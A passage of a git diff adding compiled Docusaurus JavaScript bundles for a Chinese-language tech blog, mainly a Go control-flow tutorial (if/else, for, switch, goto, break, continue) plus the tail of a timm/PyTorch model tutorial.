timm.create_model('resnet34',num_classes=10,pretrained=True)\nx = torch.randn(1,3,224,224)\noutput = model(x)\noutput.shape\n"})}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"torch.Size([1, 10])\n"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\u6539\u53d8\u8f93\u5165\u901a\u9053\u6570\uff08\u6bd4\u5982\u6211\u4eec\u4f20\u5165\u7684\u56fe\u7247\u662f\u5355\u901a\u9053\u7684\uff0c\u4f46\u662f\u6a21\u578b\u9700\u8981\u7684\u662f\u4e09\u901a\u9053\u56fe\u7247\uff09\n\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0",(0,i.jsx)(n.code,{children:"in_chans=1"}),"\u6765\u6539\u53d8"]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"model = timm.create_model('resnet34',num_classes=10,pretrained=True,in_chans=1)\nx = torch.randn(1,1,224,224)\noutput = model(x)\n"})}),"\n",(0,i.jsx)(n.h2,{id:"634-\u6a21\u578b\u7684\u4fdd\u5b58",children:"6.3.4 \u6a21\u578b\u7684\u4fdd\u5b58"}),"\n",(0,i.jsxs)(n.p,{children:["timm\u5e93\u6240\u521b\u5efa\u7684\u6a21\u578b\u662f",(0,i.jsx)(n.code,{children:"torch.model"}),"\u7684\u5b50\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528torch\u5e93\u4e2d\u5185\u7f6e\u7684\u6a21\u578b\u53c2\u6570\u4fdd\u5b58\u548c\u52a0\u8f7d\u7684\u65b9\u6cd5\uff0c\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\u65b9\u4ee3\u7801\u6240\u793a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"torch.save(model.state_dict(),'./checkpoint/timm_model.pth')\nmodel.load_state_dict(torch.load('./checkpoint/timm_model.pth'))\n"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53c2\u8003\u6750\u6599",children:"\u53c2\u8003\u6750\u6599"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://www.aiuai.cn/aifarm1967.html",children:"https://www.aiuai.cn/aifarm1967.html"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055",children:"https://towardsdatascience.com/getting-started-with-pytorch-image-models-timm-a-practitioners-guide-4e77b4bf9055"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://chowdera.com/2022/03/202203170834122729.html",children:"https://chowdera.com/2022/03/202203170834122729.html"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/11b8a360.8affdc44.js b/en/assets/js/11b8a360.8affdc44.js new file mode 100644 index 0000000..c070ad3 --- /dev/null +++ b/en/assets/js/11b8a360.8affdc44.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4345],{28453:(n,e,t)=>{t.d(e,{R:()=>s,x:()=>l});var c=t(96540);const i={},r=c.createContext(i);function s(n){const e=c.useContext(r);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:s(n.components),c.createElement(r.Provider,{value:e},n.children)}},64441:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>l,default:()=>h,frontMatter:()=>s,metadata:()=>c,toc:()=>d});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","description":"if else(\u5206\u652f\u7ed3\u6784)","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/05.GoLang-\u6d41\u7a0b\u63a7\u5236.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/05.GoLang-\u6d41\u7a0b\u63a7\u5236.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"GoLang-\u8fd0\u7b97\u7b26","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4"}}');var i=t(74848),r=t(28453);const s={},l="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236",o={},d=[{value:"if else(\u5206\u652f\u7ed3\u6784)",id:"if-else\u5206\u652f\u7ed3\u6784",level:2},{value:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",id:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",level:3},{value:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",id:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",level:3},{value:"for(\u5faa\u73af\u7ed3\u6784)",id:"for\u5faa\u73af\u7ed3\u6784",level:2},{value:"\u65e0\u9650\u5faa\u73af",id:"\u65e0\u9650\u5faa\u73af",level:3},{value:"for range(\u952e\u503c\u5faa\u73af)",id:"for-range\u952e\u503c\u5faa\u73af",level:2},{value:"switch case",id:"switch-case",level:2},{value:"goto(\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e)",id:"goto\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e",level:2},{value:"break(\u8df3\u51fa\u5faa\u73af)",id:"break\u8df3\u51fa\u5faa\u73af",level:2},{value:"continue(\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af)",id:"continue\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af",level:2}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236"})}),"\n",(0,i.jsx)(e.h2,{id:"if-else\u5206\u652f\u7ed3\u6784",children:"if else(\u5206\u652f\u7ed3\u6784)"}),"\n",(0,i.jsx)(e.h3,{id:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5",children:"if\u6761\u4ef6\u5224\u65ad\u57fa\u672c\u5199\u6cd5"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d",(0,i.jsx)(e.code,{children:"if"}),"\u6761\u4ef6\u5224\u65ad\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"if \u8868\u8fbe\u5f0f1 {\n \u5206\u652f1\n} else if \u8868\u8fbe\u5f0f2 {\n \u5206\u652f2\n} else{\n \u5206\u652f3\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u8868\u8fbe\u5f0f1\u7684\u7ed3\u679c\u4e3a",(0,i.jsx)(e.code,{children:"true"}),"\u65f6\uff0c\u6267\u884c\u5206\u652f1\uff0c\u5426\u5219\u5224\u65ad\u8868\u8fbe\u5f0f2\uff0c\u5982\u679c\u6ee1\u8db3\u5219\u6267\u884c\u5206\u652f2\uff0c\u90fd\u4e0d\u6ee1\u8db3\u65f6\uff0c\u5219\u6267\u884c\u5206\u652f3\u3002 if\u5224\u65ad\u4e2d\u7684",(0,i.jsx)(e.code,{children:"else if"}),"\u548c",(0,i.jsx)(e.code,{children:"else"}),"\u90fd\u662f\u53ef\u9009\u7684\uff0c\u53ef\u4ee5\u6839\u636e\u5b9e\u9645\u9700\u8981\u8fdb\u884c\u9009\u62e9\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u89c4\u5b9a\u4e0e",(0,i.jsx)(e.code,{children:"if"}),"\u5339\u914d\u7684\u5de6\u62ec\u53f7",(0,i.jsx)(e.code,{children:"{"}),"\u5fc5\u987b\u4e0e",(0,i.jsx)(e.code,{children:"if\u548c\u8868\u8fbe\u5f0f"}),"\u653e\u5728\u540c\u4e00\u884c\uff0c",(0,i.jsx)(e.code,{children:"{"}),"\u653e\u5728\u5176\u4ed6\u4f4d\u7f6e\u4f1a\u89e6\u53d1\u7f16\u8bd1\u9519\u8bef\u3002 \u540c\u7406\uff0c\u4e0e",(0,i.jsx)(e.code,{children:"else"}),"\u5339\u914d\u7684",(0,i.jsx)(e.code,{children:"{"}),"\u4e5f\u5fc5\u987b\u4e0e",(0,i.jsx)(e.code,{children:"else"}),"\u5199\u5728\u540c\u4e00\u884c\uff0c",(0,i.jsx)(e.code,{children:"else"}),"\u4e5f\u5fc5\u987b\u4e0e\u4e0a\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"if"}),"\u6216",(0,i.jsx)(e.code,{children:"else if"}),"\u53f3\u8fb9\u7684\u5927\u62ec\u53f7\u5728\u540c\u4e00\u884c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func ifDemo1() {\n\tscore := 65\n\tif score >= 90 {\n\t\tfmt.Println("A")\n\t} else if score > 75 {\n\t\tfmt.Println("B")\n\t} else {\n\t\tfmt.Println("C")\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.h3,{id:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5",children:"if\u6761\u4ef6\u5224\u65ad\u7279\u6b8a\u5199\u6cd5"}),"\n",(0,i.jsx)(e.p,{children:"if\u6761\u4ef6\u5224\u65ad\u8fd8\u6709\u4e00\u79cd\u7279\u6b8a\u7684\u5199\u6cd5\uff0c\u53ef\u4ee5\u5728 if \u8868\u8fbe\u5f0f\u4e4b\u524d\u6dfb\u52a0\u4e00\u4e2a\u6267\u884c\u8bed\u53e5\uff0c\u518d\u6839\u636e\u53d8\u91cf\u503c\u8fdb\u884c\u5224\u65ad\uff0c\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func ifDemo2() {\n\tif score := 65; score >= 90 {\n\t\tfmt.Println("A")\n\t} else if score > 75 {\n\t\tfmt.Println("B")\n\t} else {\n\t\tfmt.Println("C")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u601d\u8003\u9898\uff1a"})," \u4e0a\u4e0b\u4e24\u79cd\u5199\u6cd5\u7684\u533a\u522b\u5728\u54ea\u91cc\uff1f"]}),"\n",(0,i.jsx)(e.h2,{id:"for\u5faa\u73af\u7ed3\u6784",children:"for(\u5faa\u73af\u7ed3\u6784)"}),"\n",(0,i.jsxs)(e.p,{children:["Go \u8bed\u8a00\u4e2d\u7684\u6240\u6709\u5faa\u73af\u7c7b\u578b\u5747\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for"}),"\u5173\u952e\u5b57\u6765\u5b8c\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u57fa\u672c\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"for \u521d\u59cb\u8bed\u53e5;\u6761\u4ef6\u8868\u8fbe\u5f0f;\u7ed3\u675f\u8bed\u53e5{\n \u5faa\u73af\u4f53\u8bed\u53e5\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6761\u4ef6\u8868\u8fbe\u5f0f\u8fd4\u56de",(0,i.jsx)(e.code,{children:"true"}),"\u65f6\u5faa\u73af\u4f53\u4e0d\u505c\u5730\u8fdb\u884c\u5faa\u73af\uff0c\u76f4\u5230\u6761\u4ef6\u8868\u8fbe\u5f0f\u8fd4\u56de",(0,i.jsx)(e.code,{children:"false"}),"\u65f6\u81ea\u52a8\u9000\u51fa\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo() {\n\tfor i := 0; i < 10; i++ {\n\t\tfmt.Println(i)\n\t}\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u521d\u59cb\u8bed\u53e5\u53ef\u4ee5\u88ab\u5ffd\u7565\uff0c\u4f46\u662f\u521d\u59cb\u8bed\u53e5\u540e\u7684\u5206\u53f7\u5fc5\u987b\u8981\u5199\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo2() {\n\ti := 0\n\tfor ; i < 10; i++ {\n\t\tfmt.Println(i)\n\t}\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"for\u5faa\u73af\u7684\u521d\u59cb\u8bed\u53e5\u548c\u7ed3\u675f\u8bed\u53e5\u90fd\u53ef\u4ee5\u7701\u7565\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"func forDemo3() {\n\ti := 0\n\tfor i < 10 {\n\t\tfmt.Println(i)\n\t\ti++\n\t}\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u5199\u6cd5\u7c7b\u4f3c\u4e8e\u5176\u4ed6\u7f16\u7a0b\u8bed\u8a00\u4e2d\u7684",(0,i.jsx)(e.code,{children:"while"}),"\uff0c\u5728",(0,i.jsx)(e.code,{children:"while"}),"\u540e\u6dfb\u52a0\u4e00\u4e2a\u6761\u4ef6\u8868\u8fbe\u5f0f\uff0c\u6ee1\u8db3\u6761\u4ef6\u8868\u8fbe\u5f0f\u65f6\u6301\u7eed\u5faa\u73af\uff0c\u5426\u5219\u7ed3\u675f\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u65e0\u9650\u5faa\u73af",children:"\u65e0\u9650\u5faa\u73af"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"for {\n \u5faa\u73af\u4f53\u8bed\u53e5\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["for\u5faa\u73af\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"break"}),"\u3001",(0,i.jsx)(e.code,{children:"goto"}),"\u3001",(0,i.jsx)(e.code,{children:"return"}),"\u3001",(0,i.jsx)(e.code,{children:"panic"}),"\u8bed\u53e5\u5f3a\u5236\u9000\u51fa\u5faa\u73af\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"for-range\u952e\u503c\u5faa\u73af",children:"for range(\u952e\u503c\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"for range"}),"\u904d\u5386\u6570\u7ec4\u3001\u5207\u7247\u3001\u5b57\u7b26\u4e32\u3001map \u53ca\u901a\u9053\uff08channel\uff09\u3002 \u901a\u8fc7",(0,i.jsx)(e.code,{children:"for range"}),"\u904d\u5386\u7684\u8fd4\u56de\u503c\u6709\u4ee5\u4e0b\u89c4\u5f8b\uff1a"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u6570\u7ec4\u3001\u5207\u7247\u3001\u5b57\u7b26\u4e32\u8fd4\u56de\u7d22\u5f15\u548c\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"map\u8fd4\u56de\u952e\u548c\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u901a\u9053\uff08channel\uff09\u53ea\u8fd4\u56de\u901a\u9053\u5185\u7684\u503c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"switch-case",children:"switch case"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"switch"}),"\u8bed\u53e5\u53ef\u65b9\u4fbf\u5730\u5bf9\u5927\u91cf\u7684\u503c\u8fdb\u884c\u6761\u4ef6\u5224\u65ad\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo1() {\n\tfinger := 3\n\tswitch finger {\n\tcase 1:\n\t\tfmt.Println("\u5927\u62c7\u6307")\n\tcase 2:\n\t\tfmt.Println("\u98df\u6307")\n\tcase 3:\n\t\tfmt.Println("\u4e2d\u6307")\n\tcase 4:\n\t\tfmt.Println("\u65e0\u540d\u6307")\n\tcase 5:\n\t\tfmt.Println("\u5c0f\u62c7\u6307")\n\tdefault:\n\t\tfmt.Println("\u65e0\u6548\u7684\u8f93\u5165\uff01")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u89c4\u5b9a\u6bcf\u4e2a",(0,i.jsx)(e.code,{children:"switch"}),"\u53ea\u80fd\u6709\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"default"}),"\u5206\u652f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a\u5206\u652f\u53ef\u4ee5\u6709\u591a\u4e2a\u503c\uff0c\u591a\u4e2acase\u503c\u4e2d\u95f4\u4f7f\u7528\u82f1\u6587\u9017\u53f7\u5206\u9694\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func testSwitch3() {\n\tswitch n := 7; n {\n\tcase 1, 3, 5, 7, 9:\n\t\tfmt.Println("\u5947\u6570")\n\tcase 2, 4, 6, 8:\n\t\tfmt.Println("\u5076\u6570")\n\tdefault:\n\t\tfmt.Println(n)\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5206\u652f\u8fd8\u53ef\u4ee5\u4f7f\u7528\u8868\u8fbe\u5f0f\uff0c\u8fd9\u65f6\u5019switch\u8bed\u53e5\u540e\u9762\u4e0d\u9700\u8981\u518d\u8ddf\u5224\u65ad\u53d8\u91cf\u3002\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo4() {\n\tage := 30\n\tswitch {\n\tcase age < 25:\n\t\tfmt.Println("\u597d\u597d\u5b66\u4e60\u5427")\n\tcase age > 25 && age < 35:\n\t\tfmt.Println("\u597d\u597d\u5de5\u4f5c\u5427")\n\tcase age > 60:\n\t\tfmt.Println("\u597d\u597d\u4eab\u53d7\u5427")\n\tdefault:\n\t\tfmt.Println("\u6d3b\u7740\u771f\u597d")\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"fallthrough"}),"\u8bed\u6cd5\u53ef\u4ee5\u6267\u884c\u6ee1\u8db3\u6761\u4ef6\u7684case\u7684\u4e0b\u4e00\u4e2acase\uff0c\u662f\u4e3a\u4e86\u517c\u5bb9C\u8bed\u8a00\u4e2d\u7684case\u8bbe\u8ba1\u7684\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func switchDemo5() {\n\ts := "a"\n\tswitch {\n\tcase s == "a":\n\t\tfmt.Println("a")\n\t\tfallthrough\n\tcase s == "b":\n\t\tfmt.Println("b")\n\tcase s == "c":\n\t\tfmt.Println("c")\n\tdefault:\n\t\tfmt.Println("...")\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"a\nb\n"})}),"\n",(0,i.jsx)(e.h2,{id:"goto\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e",children:"goto(\u8df3\u8f6c\u5230\u6307\u5b9a\u6807\u7b7e)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u901a\u8fc7\u6807\u7b7e\u8fdb\u884c\u4ee3\u7801\u95f4\u7684\u65e0\u6761\u4ef6\u8df3\u8f6c\u3002",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u53ef\u4ee5\u5728\u5feb\u901f\u8df3\u51fa\u5faa\u73af\u3001\u907f\u514d\u91cd\u590d\u9000\u51fa\u4e0a\u6709\u4e00\u5b9a\u7684\u5e2e\u52a9\u3002Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u80fd\u7b80\u5316\u4e00\u4e9b\u4ee3\u7801\u7684\u5b9e\u73b0\u8fc7\u7a0b\u3002 \u4f8b\u5982\u53cc\u5c42\u5d4c\u5957\u7684for\u5faa\u73af\u8981\u9000\u51fa\u65f6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func gotoDemo1() {\n\tvar breakFlag bool\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\t// \u8bbe\u7f6e\u9000\u51fa\u6807\u7b7e\n\t\t\t\tbreakFlag = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t\t// \u5916\u5c42for\u5faa\u73af\u5224\u65ad\n\t\tif breakFlag {\n\t\t\tbreak\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528",(0,i.jsx)(e.code,{children:"goto"}),"\u8bed\u53e5\u80fd\u7b80\u5316\u4ee3\u7801\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func gotoDemo2() {\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\t// \u8bbe\u7f6e\u9000\u51fa\u6807\u7b7e\n\t\t\t\tgoto breakTag\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n\treturn\n\t// \u6807\u7b7e\nbreakTag:\n\tfmt.Println("\u7ed3\u675ffor\u5faa\u73af")\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"break\u8df3\u51fa\u5faa\u73af",children:"break(\u8df3\u51fa\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"break"}),"\u8bed\u53e5\u53ef\u4ee5\u7ed3\u675f",(0,i.jsx)(e.code,{children:"for"}),"\u3001",(0,i.jsx)(e.code,{children:"switch"}),"\u548c",(0,i.jsx)(e.code,{children:"select"}),"\u7684\u4ee3\u7801\u5757\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"break"}),"\u8bed\u53e5\u8fd8\u53ef\u4ee5\u5728\u8bed\u53e5\u540e\u9762\u6dfb\u52a0\u6807\u7b7e\uff0c\u8868\u793a\u9000\u51fa\u67d0\u4e2a\u6807\u7b7e\u5bf9\u5e94\u7684\u4ee3\u7801\u5757\uff0c\u6807\u7b7e\u8981\u6c42\u5fc5\u987b\u5b9a\u4e49\u5728\u5bf9\u5e94\u7684",(0,i.jsx)(e.code,{children:"for"}),"\u3001",(0,i.jsx)(e.code,{children:"switch"}),"\u548c ",(0,i.jsx)(e.code,{children:"select"}),"\u7684\u4ee3\u7801\u5757\u4e0a\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func breakDemo1() {\nBREAKDEMO1:\n\tfor i := 0; i < 10; i++ {\n\t\tfor j := 0; j < 10; j++ {\n\t\t\tif j == 2 {\n\t\t\t\tbreak BREAKDEMO1\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n\tfmt.Println("...")\n}\n'})}),"\n",(0,i.jsx)(e.h2,{id:"continue\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af",children:"continue(\u7ee7\u7eed\u4e0b\u6b21\u5faa\u73af)"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"continue"}),"\u8bed\u53e5\u53ef\u4ee5\u7ed3\u675f\u5f53\u524d\u5faa\u73af\uff0c\u5f00\u59cb\u4e0b\u4e00\u6b21\u7684\u5faa\u73af\u8fed\u4ee3\u8fc7\u7a0b\uff0c\u4ec5\u9650\u5728",(0,i.jsx)(e.code,{children:"for"}),"\u5faa\u73af\u5185\u4f7f\u7528\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 ",(0,i.jsx)(e.code,{children:"continue"}),"\u8bed\u53e5\u540e\u6dfb\u52a0\u6807\u7b7e\u65f6\uff0c\u8868\u793a\u5f00\u59cb\u6807\u7b7e\u5bf9\u5e94\u7684\u5faa\u73af\u3002\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func continueDemo() {\nforloop1:\n\tfor i := 0; i < 5; i++ {\n\t\t// forloop2:\n\t\tfor j := 0; j < 5; j++ {\n\t\t\tif i == 2 && j == 2 {\n\t\t\t\tcontinue forloop1\n\t\t\t}\n\t\t\tfmt.Printf("%v-%v\\n", i, j)\n\t\t}\n\t}\n}\n'})})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/11c09c5f.84bab4f9.js b/en/assets/js/11c09c5f.84bab4f9.js new file mode 100644 index 0000000..8c655bc --- /dev/null +++ b/en/assets/js/11c09c5f.84bab4f9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5925],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function i(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(l.Provider,{value:t},e.children)}},43159:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/README","title":"\u7b2c\u5341\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"9.1 